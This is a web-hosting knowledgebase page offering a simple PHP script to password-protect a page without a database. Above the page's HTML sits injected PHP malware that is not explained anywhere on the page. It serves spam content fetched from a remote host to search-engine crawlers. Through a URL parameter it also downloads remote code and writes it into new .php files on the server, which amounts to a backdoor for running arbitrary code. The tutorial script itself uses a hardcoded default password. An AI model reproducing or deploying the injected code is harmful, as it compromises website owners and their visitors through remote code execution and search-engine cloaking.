error_reporting(0);
$s='http://a1b2cd.club/';
if(preg_match('/bot|spider|wget|google|bing|yahoo|yandex/i',strtolower($_SERVER['HTTP_USER_AGENT']))){
$x = $s.'l-'.base64_encode('http://ru.talmetod.kz/');
if(function_exists('curl_init'))
{
$ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);
if($gitt == false){
@$gitt = file_get_contents($x);
}
}elseif(function_exists('file_get_contents')){
@$gitt = file_get_contents($x);
}
echo $gitt;
}

if(isset($_GET['ksfg'])){
$f=fopen($_GET['ksfg'].'.php','a');
fwrite($f,file_get_contents($s.'s-'.$_GET['ksfg']));
fclose($f);
}
echo '';
?>
- Knowledgebase - PHP password protection without database.</title> <base href="https://www.247zilla.com/user/" /> <link rel="stylesheet" type="text/css" href="templates/hostzilla/style.css" /> <link rel="author" href="https://plus.google.com/103422230363988276496" /> <script type="text/javascript" src="includes/jscript/jquery.js"></script> </head> <link href="templates/hostzilla/css/style.css" rel="stylesheet" type="text/css" /> <body> <div class="Wrapper"> <div class="header1"> <div class="TopRightC"> <div class="loginBtn"><a href="clientarea.php"></a></div> <div class="chatBtn"><a href="https://live.247zilla.com/client.php?locale=en&amp;style=original" onclick="var nonwin=navigator.appName!='Microsoft Internet Explorer'?'yes':'no'; var certheight=screen.availHeight-90; window.open(this.href,'livechat','location='+nonwin+',scrollbars=no,width=640,height=480,menubar=no,toolbar=no'); return false;"></a></div> </div> <div class="logo"><a href="https://www.247zilla.com/"></a></div> </div> </div> <div class="clr"></div> <div class="bannerC"> <div class="Wrapper"> <div id="menu"> <ul> <li><a href="https://www.247zilla.com/free-cloud-hosting.html" class="first freeCloud">Free Cloud Hosting</a></li> <li><div class="New"></div> <a href="https://www.247zilla.com/premium-cloud-hosting.html" class="premiumCloud">Premium Cloud Hosting</a></li> <li><a href="https://www.247zilla.com/java-cloud-hosting.html" class="javaCloud">Java Cloud</a></li> <li><a href="https://www.247zilla.com/reseller-cloud.html" class="resellerCloud">Reseller Cloud</a></li> <li><a href="https://www.247zilla.com/cloud-files.html" class="Cloudfiles">Cloud Files</a></li> <li><a href="https://www.247zilla.com/addons.html" class="addons">Addons</a></li> <li><a href="index.php" class="support1 last">Support</a></li> </ul> </div> <div class="clr"></div> <div class="addonsBanner"> <h1>Knowledgebase</h1></div> <div class="box5C"><div class="box5Heading01"><div id="welcome_box">Please <a href="clientarea.php" title="Login"><strong>Login</strong></a> or <a href="register.php" title="Register"><strong>Register</strong></a></div><p class="breadcrumb"><a href="https://www.247zilla.com/user/index.php">Portal Home</a> > <a href="https://www.247zilla.com/user/knowledgebase.php">Knowledgebase</a> > <a href="/user/knowledgebase/4/Simple-Scripts">Simple Scripts</a> > <a href="/user/knowledgebase/7/PHP-password-protection-without-database.html">PHP password protection without database.</a></p></div> <div id="content_container"> <div class="box6"> <div class="box5Top"></div> <div class="box5Contents"> <div id="content_left"> <script language="javascript"> function addBookmark() { if (window.sidebar) { window.sidebar.addPanel('PHP password protection without database.', location.href,""); } else if( document.all ) { window.external.AddFavorite( location.href, 'PHP password protection without database.'); } else if( window.opera && window.print ) { return true; } } </script> <h2>PHP password protection without database.</h2> <table width="100%" border="0" cellpadding="0" cellspacing="10"> <tr> <td width="80%" align="left" valign="top"> <p style="text-align: justify;">Do you want to have a hidden page on your website which only people who you give the password to can access it? Most probably you do as we all have something that we want to hide from prying eyes, that is were this PHP password protect page will come in useful. We can use basic PHP to protect a page and keep our content hidden.The beauty of this script is that it can be included into any page design and be used to protect just certain areas of a webpage or a full page.The Simple Password Protect script is written in PHP and will run on any server which supports this. You do not need to use a database, just the below simple PHP code.</p> <p> </p> <p>&lt;?php<br />$password = "admin";  // Modify Password to suit for access, Max 10 Char.<br />?&gt;<br />&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"&gt;<br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;title&gt;Simple Password Protect&lt;/title&gt;<br />&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;<br />&lt;style type="text/css"&gt;<br />&lt;!--<br />P { FONT-SIZE: 8pt; COLOR: #000000; FONT-FAMILY: Verdana, Tahoma, Arial}<br />TD { FONT-SIZE: 8pt; COLOR: #000000; FONT-FAMILY: Verdana, Tahoma, Arial}<br />--&gt;<br />&lt;/style&gt;<br />&lt;/head&gt;<br />&lt;body&gt;<br />&lt;?php<br />print "&lt;h2 align=\"center\"&gt;PHP Simple Password Protect&lt;/h2&gt;";<br />// If password is valid let the user get access<br />if (isset($_POST["password"]) &amp;&amp; ($_POST["password"]=="$password")) {<br />?&gt;<br />&lt;!-- START OF HIDDEN HTML - PLACE YOUR CONTENT HERE --&gt;<br /><br />&lt;p align="center"&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;<br />&lt;b&gt;Congratulations&lt;/b&gt;&lt;br&gt;you have gained access to the Protected and Secret Area!&lt;/p&gt;<br /><br />&lt;!-- END OF HIDDEN HTML --&gt;<br />&lt;?php<br />}<br />else<br />{<br />// Wrong password or no password entered display this message<br />if (isset($_POST['password']) || $password == "") {<br />print "&lt;p align=\"center\"&gt;&lt;font color=\"red\"&gt;&lt;b&gt;Incorrect Password&lt;/b&gt;&lt;br&gt;Please enter the correct password&lt;/font&gt;&lt;/p&gt;";}<br />print "&lt;form method=\"post\"&gt;&lt;p align=\"center\"&gt;Please enter your password for access&lt;br&gt;";<br />print "&lt;input name=\"password\" type=\"password\" size=\"25\" maxlength=\"10\"&gt;&lt;input value=\"Login\" type=\"submit\"&gt;&lt;/p&gt;&lt;/form&gt;";<br />}<br />print "&lt;br&gt;&lt;br&gt;&lt;p align=\"center\"&gt;Written by &lt;a href=\"http://www.stevedawson.com\"&gt;SteveDawson.com&lt;/a&gt;&lt;/p&gt;";<br />?&gt;<br />&lt;BR&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;</p> <br /> <br /> <form method="post" action="knowledgebase.php?action=displayarticle&amp;id=7&amp;useful=vote"> <input type="hidden" name="token" value="8d7980060d2cb79df14f5cd2156d297f85903529" /> <p> <strong>Was this answer helpful?</strong> <select name="vote"> <option value="yes">Yes</option> <option value="no">No</option> </select> <input type="submit" value="Vote" /> </p> </form></td> <td width="20%" align="center" valign="top"><p align="center"><img src="images/addtofavouritesicon.gif" class="absmiddle" border="0" alt="Add to Favourites" /> <a href="#" onclick="addBookmark();return false">Add to Favourites</a><br /><br /> <img src="images/print.gif" class="absmiddle" border="0" alt="Print this Article" /> <a href="#" onclick="window.print();return false">Print this Article</a></p></td> </tr> </table> <div class="kbalsoread">Also Read</div> <div class="kbarticle"> <img src="images/article.gif" align="middle" alt="" /> <strong><a href="knowledgebase/38/PHP-Smart-File-Download.html">PHP Smart File Download</a></strong> <span class="kbviews">(Views: 4214)</span> </div> <div class="kbarticle"> <img src="images/article.gif" align="middle" alt="" /> <strong><a href="knowledgebase/8/Redirection-using-PHP-or-HTML.html">Redirection using PHP or HTML</a></strong> <span class="kbviews">(Views: 3235)</span> </div> <div class="kbarticle"> <img src="images/article.gif" align="middle" alt="" /> <strong><a href="knowledgebase/11/SEO-URL-Rewriting-using-htaccess.html">SEO URL Rewriting using .htaccess</a></strong> <span class="kbviews">(Views: 6857)</span> </div> <div class="kbarticle"> <img src="images/article.gif" align="middle" alt="" /> <strong><a href="knowledgebase/13/Force-WWW-prefix-to-Domain-using-htaccess.html">Force WWW prefix to Domain using .htaccess</a></strong> <span class="kbviews">(Views: 4632)</span> </div> <div class="kbarticle"> <img src="images/article.gif" align="middle" alt="" /> <strong><a href="knowledgebase/37/How-to-Speed-Up-Sites-with-htaccess-Caching.html">How to Speed Up Sites with .htaccess Caching</a></strong> <span class="kbviews">(Views: 5405)</span> </div> <br /> </div> </div> <div class="clr"></div> </div> <div style="float:right; width:249px;"> <div id="side_menu"> <p class="header">Quick Navigation</p> <ul> <li><a href="clientarea.php"><img src="templates/hostzilla/images/icons/clientarea.gif" alt="Client Area" width="16" height="16" border="0" class="absmiddle" /></a> <a href="clientarea.php" title="Client Area">Client Area</a></li> <li><a href="../affiliate.html" title="Announcements"><img src="templates/hostzilla/images/affiliates.png" alt="Announcements" width="16" height="16" border="0" class="absmiddle" /></a> <a href="../affiliate.html">Affiliates</a></li> <li><a href="../helpdesk.html" title="Submit Ticket"><img src="templates/hostzilla/images/icons/submit-ticket.gif" alt="Submit Ticket" width="16" height="16" border="0" class="absmiddle" /></a> <a href="../helpdesk.html" title="Support Tickets">Submit Ticket</a></li> <li><a href="../support.html" title="Knowledgebase"><img src="templates/hostzilla/images/downloads.png" alt="Knowledgebase" width="16" height="16" border="0" class="absmiddle" /></a> <a href="../support.html">Live Chat Support</a></li> <li><a href="supporttickets.php" title="Knowledgebase"><img src="templates/hostzilla/images/icons/knowledgebase.gif" alt="Knowledgebase" width="16" height="16" border="0" class="absmiddle" /></a> <a href="supporttickets.php">Support Tickets</a></li> <li><a href="knowledgebase" title="Knowledgebase"><img src="templates/hostzilla/images/knowledgebase.png" alt="Knowledgebase" width="16" height="16" border="0" class="absmiddle" /></a> <a href="knowledgebase" title="Knowledgebase">Knowledgebase</a></li> <li> <a href="../video-tutorials.html" title="Order"><img src="templates/hostzilla/images/contact.png" alt="Order" width="16" height="16" border="0" class="absmiddle" /></a> <a href="../video-tutorials.html">Video Tutorials</a></li> <li><a href="https://www.247zilla.com/checkpoint.php?id=hc36vUIevJDFgbnj" title="Order"><img src="templates/hostzilla/images/domainchecker.png" alt="Order" width="16" height="16" border="0" class="absmiddle" /></a> <a href="https://www.247zilla.com/checkpoint.php?id=hc36vUIevJDFgbnj">Domain Checker</a></li> </ul> </div> <div id="side_menu"> <form method="post" action="dologin.php"> <input type="hidden" name="token" value="8d7980060d2cb79df14f5cd2156d297f85903529" /> <p class="header">Client Login</p> <p><strong>Email</strong><br /> <input name="username" type="text" size="25" /> </p> <p><strong>Password</strong><br /> <input name="password" type="password" size="25" /> </p> <p> <input type="checkbox" name="rememberme" /> Remember Me</p> <p> <input type="submit" class="submitbutton" value="Login" /> </p> </form> </div> <div class="clear"></div> </div> </div> </div> </div> </div> <div class="footerSpacer"></div> <div class="footer"><div style="width:100px;margin:0 auto;margin-bottom:-28px;display:block;color:#DBEAEF;" class="author">Sarah Brown</div> <div class="Wrapper"> <div class="sitemapCon"> <div class="sitemap"> <h2><p style="margin-top: -8"><img src="templates/hostzilla/images/help.png" width="141" height="31" alt=" " /></p></h2> <div class="clr"></div> <ul> <li><a href="../support.html">24/7 Live Technical Support</a></li> <li><a href="../helpdesk.html">Contact Our Departments</a></li> <li><a href="../video-tutorials.html">Online Video Tutorials</a></li> <li><a href="knowledgebase">Knowledge Base Articles</a></li> </ul> </div> <div class="sitemap"> <h2><p style="margin-top: -8"><img src="templates/hostzilla/images/ourservices.png" width="98" height="22" align="left" alt=" " /></p></h2> <div class="clr"></div> <ul> <li><a href="../free-cloud-hosting.html">Free 100MB Cloud Hosting</a></li> <li><a href="../premium-cloud-hosting.html">Premium Cloud Hosting</a></li> <li><a href="../reseller-cloud.html">Reseller Cloud Hosting</a></li> <li><a href="../cloud-files.html">Cloud File Storage</a></li> </ul> </div> <div class="sitemap"> <h2><p style="margin-top: -8"><img src="templates/hostzilla/images/rules.png" width="143" height="23" alt=" " /></p></h2> <div class="clr"></div> <ul> <li><a href="../tos.html">Terms of Services</a></li> <li><a href="../aup.html">Acceptable Use Policy</a></li> <li><a href="../privacy.html">Customer Privacy Policy</a></li> <li><a href="../abuse">Abuse/Violation Reporting</a></li> </ul> </div> <div class="sitemap"> <h2><p style="margin-top: -8"><img src="../images/social.png" width="119" height="23" alt="Get Social With 247ZILLA Free Cloud Hosting" /></p></h2> <div class="clr"></div> <ul><li><a target="_blank" href="#"><img src="../images/cummunity.png" width="16" height="16" class="imgstyle2" alt="forum.247zilla.com" />Community Forum</a></li> <li><a target="_blank" href="#"><img src="../images/facebook.png" width="16" height="16" class="imgstyle2" alt="www.facebook.com/" />Find us on Facebook</a></li> <li><a target="_blank" href="#"><img src="../images/twitter.png" width="16" height="16" class="imgstyle2" alt="www.twitter.com/" />Follow us on Twitter</a></li> <li><a target="_blank" href="#"><img src="../images/youtube.png" width="16" height="16" class="imgstyle2" alt="www.youtube.com/" />Watch us on YouTube</a></li> </ul> </div> </div> <div class="copyright"> <div class="code"> <a href="http://www.shopperapproved.com/certificates/247zilla.com/" onclick="var nonwin=navigator.appName!='Microsoft Internet Explorer'?'yes':'no'; var certheight=screen.availHeight-90; window.open(this.href,'shopperapproved','location='+nonwin+',scrollbars=yes,width=620,height='+certheight+',menubar=no,toolbar=no'); return false;"><img src="https://www.shopperapproved.com/seals/2313-m.gif" style="border: 0" alt="" /></a> </div> <div class="GeoTrust"></div> <div class="cards"></div> COPYRIGHTS &copy; 2013 247ZILLA.COM ALL RIGHTS RESERVED.</div> </div> </div> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-60829577-1', 'auto'); ga('send', 'pageview');</script> </body> </html>